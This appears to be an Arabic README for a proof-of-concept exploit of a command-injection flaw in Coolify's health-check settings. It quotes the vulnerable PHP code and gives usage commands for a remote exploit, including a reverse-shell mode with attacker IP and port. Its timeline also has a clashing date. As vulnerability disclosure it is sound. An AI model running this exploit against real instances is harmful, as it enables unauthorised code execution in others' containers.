
حقن أوامر نظام التشغيل في فحص الصحة ← تنفيذ التعليمات البرمجية عن بُعد
إثبات مفهوم لاستغلال حقن أوامر نظام التشغيل في إعداد فحص الصحة في Coolify.
يمكن لأي مستخدم مُصادَق تنفيذ أوامر عشوائية داخل الحاويات المنشورة.
Coolify هو منصة نشر شهيرة مفتوحة المصدر وذاتية الاستضافة (أكثر من 30 ألف نجمة على GitHub) — بديل مجاني لـ Heroku وVercel وNetlify.
تم اكتشاف ثغرة حرجة من نوع حقن أوامر نظام التشغيل في إعداد فحص الصحة في Coolify. يتم إقحام المعاملات health_check_host وhealth_check_method وhealth_check_path مباشرةً في أوامر الصدفة بدون أي تعقيم، مما يسمح لأي مستخدم مُصادَق بتنفيذ أوامر عشوائية داخل حاويات النشر.
┌──────────────────┬──────────────────────────────────────┐
│ CVE ID │ CVE-2026-59734 │
│ Type │ OS Command Injection (CWE-78) │
│ Severity │ HIGH — CVSS 8.8 │
│ Attack Vector │ Network (Authenticated) │
│ Affected │ Coolify <= v4.0.0-beta.460 │
│ Fixed In │ Coolify >= v4.0.0-beta.469 │
│ Fix Commit │ 23f9156c7 │
│ Reporter │ CyberTechAjju │
└──────────────────┴──────────────────────────────────────┘
// app/Jobs/ApplicationDeploymentJob.php — generate_healthcheck_commands()
// ⚠️ User input directly in shell command — NO escapeshellarg()!
$generated_healthchecks_commands = [
"curl -s -X {$this->application->health_check_method} -f " .
"{$this->application->health_check_scheme}://" .
"{$this->application->health_check_host}:" .
"{$health_check_port}" .
"{$this->application->health_check_path} > /dev/null || exit 1",
];
يتحقق سكربت PoC هذا من CVE-2026-59734 ويستغلها بوضعين:
| الوضع | الوصف | الخطورة |
|---|---|---|
--local | يحاكي نمط الكود المُعرَّض للثغرة دون اتصال. بدون أي طلبات شبكة. يختبر جميع المعاملات الثلاثة القابلة للحقن + يتحقق من الإصلاح. | ✅ آمن |
--remote | يستغل مثيل Coolify حقيقيًا عبر API. يحقن الحمولة في إعداد فحص الصحة ويُطلق عملية النشر. | ⚠️ يتطلب مصادقة |
host وmethod وpath + تؤكد أن إصلاح escapeshellarg() يعمل--lhost / --lportgit clone https://github.com/cybertechajju/CVE-2026-59734.git
cd CVE-2026-59734
chmod +x coolify_healthcheck_rce_poc.sh
# Run safe local validation
./coolify_healthcheck_rce_poc.sh --local
المخرجات المتوقعة:
═══ LOCAL VULNERABILITY PATTERN VALIDATION ═══
┌─ Test 1: health_check_host injection
│ ✅ VULNERABLE — Injected command executed successfully
┌─ Test 2: health_check_method injection
│ ✅ VULNERABLE — Method parameter also injectable
┌─ Test 3: health_check_path injection
│ ✅ VULNERABLE — Path parameter also injectable
┌─ Test 4: Verify that escapeshellarg() fixes the issue
│ ✅ SAFE — Sanitized input prevents injection
# Basic PoC — writes proof file inside the container
./coolify_healthcheck_rce_poc.sh --remote \
--url https://your-coolify-instance:3000 \
--token YOUR_API_TOKEN \
--uuid YOUR_APP_UUID
# Reverse shell
./coolify_healthcheck_rce_poc.sh --remote \
--url https://your-coolify-instance:3000 \
--token YOUR_API_TOKEN \
--uuid YOUR_APP_UUID \
--lhost YOUR_IP \
--lport 4444
# With auto-cleanup (restores original config after exploit)
./coolify_healthcheck_rce_poc.sh --remote \
--url https://your-coolify-instance:3000 \
--token YOUR_API_TOKEN \
--uuid YOUR_APP_UUID \
--cleanup
Usage:
Local Validation (safe, offline):
./coolify_healthcheck_rce_poc.sh --local
Remote Exploit (requires auth):
./coolify_healthcheck_rce_poc.sh --remote --url <URL> --token <TOKEN> --uuid <UUID> [OPTIONS]
Options:
--url Coolify instance URL (e.g. https://coolify.example.com)
--token API Bearer token
--uuid Target application UUID
--payload Custom injection payload
--lhost Attacker IP for reverse shell
--lport Attacker port for reverse shell (default: 4444)
--cleanup Restore original config after exploit
رمز API:
معرّف التطبيق UUID:
curl -s https://YOUR-COOLIFY/api/v1/applications \
-H "Authorization: Bearer YOUR_TOKEN" | jq '.[].uuid'
لقد كتبت مقالًا تفصيليًا يشرح عملية الاكتشاف والاستغلال والدروس المستفادة بالكامل:
شاهد العرض التوضيحي الكامل لعملية الاستغلال على YouTube:
| التاريخ | الحدث |
|---|---|
| 6 يناير 2025 | 🔍 تم الاكتشاف والإبلاغ عبر GitHub Security Advisory |
| 16 يناير 2025 | ✅ تم قبول التقرير من قِبل مُطوّر Coolify |
| 24 فبراير 2025 | 🔬 تم تأكيد التحقيق |
| 18 مارس 2025 | 🔧 تم إيداع الإصلاح (23f9156c7) |
| 12 أبريل 2025 | 📦 تم إصدار الإصلاح في v4.0.0-beta.469 |
| يوليو 2025 | 🏷️ تم تعيين CVE-2026-59734 ونشر الاستشارة الأمنية |
هذه الأداة مقدمة للأغراض التعليمية ولاختبار الأمن المصرح به فقط.
إثبات المفهوم هذا موجه لباحثي الأمن وصيادي مكافآت الثغرات لاختبار الأنظمة التي لديهم إذن صريح وموثّق لتدقيقها. الاستخدام غير المصرح به ضد الأنظمة التي لا تملكها ممنوع منعًا باتًا وقد ينتهك القوانين المحلية والولائية والاتحادية.
المؤلف (CyberTechAjju) لا يتحمل أي مسؤولية ولا يعتبر مسؤولًا عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة.
| CVE | الهدف | النوع | الخطورة |
|---|---|---|---|
| CVE-2026-45156 | Nextcloud user_oidc | تجاوز توقيع JWT | 🔴 حرجة (9.8) |
| CVE-2026-59734 | Coolify | حقن أوامر نظام التشغيل | 🟠 عالية (8.8) |
"لقد نسوا التعقيم، لكنني لم أنسَ الإبلاغ."
🇮🇳 اخترق الكوكب. 🌎💻